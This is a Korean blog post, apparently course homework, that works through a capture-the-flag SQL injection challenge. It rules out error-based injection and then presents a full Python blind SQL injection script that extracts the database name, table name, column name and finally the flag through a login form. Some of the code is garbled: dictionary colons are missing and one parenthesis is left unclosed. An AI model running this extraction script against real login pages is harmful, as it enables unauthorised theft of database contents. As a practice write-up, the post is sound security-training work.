[normaltic 취업반 5기] 2023-12-06 7주차 과제 : SQL 6번 문제

2023. 12. 7. 19:24normaltic 취업반 5기/과제

 

SQL Injection 6번 문제

 

  유효 계정 정보

  • ID : normaltic
  • Password : 1234

1) SQL Injection 작동 여부

 

 

 테스트 결과 해당 문제에서는 SQL Injection을 사용 가능하다.

 

2) 사용 가능한 SQL Injection 종류 파악

 

  로그인 페이지 같은 경우 UNION SQL Injection 공격은 사용이 힘들기 때문에 나머지 두 공격이 가능한지 확인한다.

 

 

  Error Based SQL Injection 공격에 쓰일 Payload를 입력했더니 에러 메시지가 출력되지 않았다. 그렇다면 해당 문제는 Blind SQL Injection 공격을 진행해야 한다.

 

3) Blind SQL Injection 자동화 프로그램

 

  Blind SQL Injection 공격은 문자를 하나하나 대조하면서 진행하기 때문에 수작업 시 상당한 피로가 동반되어 python으로 제작한 자동화 프로그램을 사용한다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
import requests
 
# 타겟 URL
URL = "http://ctf.segfaulthub.com:7777/sqli_3/login.php"
 
headers = {
    "User-Agent""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36",
    "Cookie""PHPSESSID=1nscenf7agcvgm4a4anmlrbspd"
}
 
 
def printUI() :
    print("====================================================================\n")
    print("               Blind SQL Injection Program by vanhart               \n")
    print("====================================================================\n")
    print("단계별 공격을 선택해주세요.(원하는 옵션 숫자를 입력해주세요.)\n")
    print("1. DB 이름 찾기\n2. TABLE 이름 찾기\n3. COLUMN 이름 찾기\n4. DATA 추출\n5. 종료\n")
    print("====================================================================\n")
 
 
def select_query(select_num) :
    
    db_name = ""
    table_name = ""
    column_name = ""
    turnNum = ""
 
    if(select_num == '1'):
        print("\n====================================================================\n")
        turnNum = str(int(input('찾고 싶은 DB의 위치를 입력해주세요.(ex.1,2,3...)\n입력 : '))-1)
        print("\n====================================================================\n")
        query = "select database() limit "+turnNum+",1"
    elif(select_num == '2'):
        print("\n====================================================================\n")
        db_name = input('DB 이름을 입력해주세요.\n입력 : ')
        print("\n====================================================================\n")
        turnNum = str(int(input('찾고 싶은 TABLE의 위치를 입력해주세요.(ex.1,2,3...)\n입력 : '))-1)
        query = "select table_name from information_schema.tables where table_schema = '"+db_name+"' limit "+turnNum+",1"
    elif(select_num == '3'):
        print("\n====================================================================\n")
        table_name = input('TABLE 이름을 입력해주세요.\n입력 : ')
        print("\n====================================================================\n")
        turnNum = str(int(input('찾고 싶은 COLUMN의 위치를 입력해주세요.(ex.1,2,3...)\n입력 : '))-1)
        print("\n====================================================================\n")
        query = "select column_name from information_schema.columns where table_name = '"+table_name+"' limit "+turnNum+",1"
    else:
        print("\n====================================================================\n")
        table_name = input('TABLE 이름을 입력해주세요.\n입력 : ')
        print("\n====================================================================\n")
        column_name = input('COLUMN 이름을 입력해주세요.\n입력 : ')
        print("\n====================================================================\n")
        turnNum = str(int(input('찾고 싶은 DATA의 위치를 입력해주세요.(ex.1,2,3...)\n입력 : '))-1)
        print("\n====================================================================\n")
        query = "select "+column_name+" from "+table_name+" limit "+turnNum+",1"
 
    return query
 
 
def binary_search(query) :
 
    ref = "Incorrect" # 응답 시 판단 문자열
    blind_format = "' AND ascii(substr(({}),{},1)) > {} AND '1'='1" # Blind SQL Injection Format
    
    position = 1 # 문자열 위치 변수
    start = 32 # 아스키 코드 '!'부터
    end = 126 # 아스키 코드 '~'까지 비교
    value = "" # 결과를 저장할 변수
 
    while True :
 
        # 이진 탐색 시 중간값을 계속해서 변경한다.
        mid = int((start+end)/2
 
        # 문자열의 끝에 다다랐을 경우를 판단하기 위한 payload, 
        payload = {
            "UserId""normaltic" + blind_format.format(query, position, 0),
            "Password""1234",
            "Submit""Login"
        } 
 
        response = requests.post(URL, data=payload, headers=headers) # POST 메소드로 요청, GET 메소드로 요청 시에는 바꿔준다.
 
        if ref in response.text : # 문자열의 끝에 다다른 경우 NULL값을 반환하므로 프로그램 종료
            break
        else :
            payload = {
                "UserId""normaltic"+blind_format.format(query, position, mid),
                "Password""1234",
                "Submit""Login"
            }
 
            response = requests.post(URL, data=payload, headers=headers) # POST 메소드로 요청, GET 메소드로 요청 시에는 바꿔준다.
 
            if ref in response.text :
                end = mid # 응답 결과 FALSE이면 end 값을 mid로 바꾼다
            else :
                start = mid # 응답 결과 TRUE면 start 값을 mid로 바꾼다
 
            # start값에 1 더한 값이 end 값과 같거나 크면 end 값이 찾던 문자를 의미.
            if start + 1 >= end :
                value += chr(end)
                position += 1
                
                # 초기화
                start = 32
                end = 126
 
    return value
 
while True :
 
    # UI 출력
    printUI()
    select_num = input('선택 번호 : ')
 
    # 프로그램 종료를 원한다면 5 입력
    if select_num == '5':
        break
    else :
        query = select_query(select_num)
        result = binary_search(query)
        print("결과 : "+result+"\n")
 
cs

실행 시 초기 화면

 

4) DB 이름 찾기

 

 

  DB 이름 조회 결과 'sqli_3'라는 DB를 찾아냈다.

 

5) TABLE 이름 찾기

 

 

  TABLE 이름 조회 결과 'flag_table'라는 TABLE을 찾아냈다.

 

6) COLUMN 이름 찾기

 

 

  COLUMN 이름 조회 결과 'flag'라는 COLUMN을 찾아냈다.

 

7) DATA 추출

 

 

   찾아낸 정보들을 취합하여 'flag_table' 테이블에서 'flag' 컬럼을 조회했더니 해당 문제의 플레그를 찾아냈다.